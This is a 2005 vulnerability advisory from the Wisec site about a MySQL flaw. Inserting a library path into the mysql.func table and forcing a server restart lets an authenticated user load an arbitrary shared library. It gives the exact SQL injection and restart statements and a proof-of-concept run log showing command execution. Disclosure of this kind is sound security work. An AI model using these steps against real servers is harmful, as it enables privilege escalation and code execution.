The WIse SECurity
| .italian .english |
News
|
Mysql CREATE FUNCTION mysql.func table arbitrary library injection
Title:Mysql CREATE FUNCTION mysql.func table arbitrary library injectionAuthor:Stefano Di PaolaVulnerable:MySQL <= 4.0.23, 4.1.10Type of Vulnerability:Local/Remote Privileges Escalation - input validationTested On :Mandrake 10.1 /Debian SargeVendor Status:Notified on March, 2nd 2005, Confirmed on 3rd March 2005, New versions released on 11th March 2005Resources:Published on VulnwatchDescriptionIf an authenticated user has INSERT and DELETE privileges on 'mysql' administrative database, it is possible to use a library located in an arbitrary directory. The problem resides in the lack of checking the presence of directory separator in udf_init() function in sql_udf.cc. When you try to create a function loading a library from an arbitrary directory: mysql> create function do_system returns integer soname '/tmp/do_system.so'; ERROR 1124: No paths allowed for shared library do you see? no way to load a library from an arbitrary directory... What happens: in sql_udf.cc int mysql_create_function(THD *thd,udf_func *udf) { ..... /* Ensure that the .dll doesn't have a path This is done to ensure that only approved dll from the system directories are used (to make this even remotely secure). */ if (strchr(udf->dl, '/')) { send_error(&thd->net, ER_UDF_NO_PATHS,ER(ER_UDF_NO_PATHS)); DBUG_RETURN(1); } is called and is checked if the name of library contains a '/' so nobody can load a library from an arbitrary location. Lets see where function infos are stored: mysql> describe mysql.func; +-------+------------------------------+------+-----+----------+-------+ | Field | Type | Null | Key | Default | Extra | +-------+------------------------------+------+-----+----------+-------+ | name | char(64) binary | | PRI | | | | ret | tinyint(1) | | | 0 | | | dl | char(128) | | | | | | type | enum('function','aggregate') | | | function | | +-------+------------------------------+------+-----+----------+-------+ The table mysql.func holds all information about loaded and created functions and it is kept updated for being loaded when mysql restarts. In this way all the function previously created can be retrieved. This is done by calling in sql_udf.cc void udf_init() { .... Which reads mysql.func table and re-sets all previously declared and created functions. Well, the vulnerability lies here. Infact it does not check if the 'dl' field contains a '/'. If we don't use the CREATE FUNCTION statement, but we use the INSERT INTO statement. Putting the name of shared library in dl field. INSERT INTO mysql.func (name,dl) VALUES ('do_system','/tmp/do_system.so'); And then we force mysql to restart, by using for example: CREATE FUNCTION exit RETURNS INTEGER SONAME 'libc.so.6'; SELECT exit(0); when mysql restarts it will load the shared library from '/tmp/do_system.so' by allowing us to use the imported functions. Remote exploitation is possible if db user has File_Priv (SELECT ... INTO OUTFILE), too. A Proof of concept for GNU/Linux is attached (needs MySql root password): $php exp2.php Connected successfully as root creating db for lib selecting db for lib done.... creating blob table for lib done.... inserting blob table for lib done.... dumping lib in /tmp/libso.so.0... done.... sending lib.... done.... Creating exit function to restart server done.... Selecting exit function done! Waiting for server to restart Connected to MySql server again... Sending Command...id >/tmp/id done! Now use your fav shell and ls -l /tmp/id $ls -l /tmp/id -rw-rw---- 1 mysql mysql 45 gen 28 19:25 /tmp/id Florence, 11th March 2005
Wisec is brought to you by...Wisec is written and mantained by Stefano Di Paola. Wisec uses open standards, including XHTML, CSS2, and XML-RPC. |
All Rights Reserved 2004
All hosted messages and metadata are owned by their respective authors.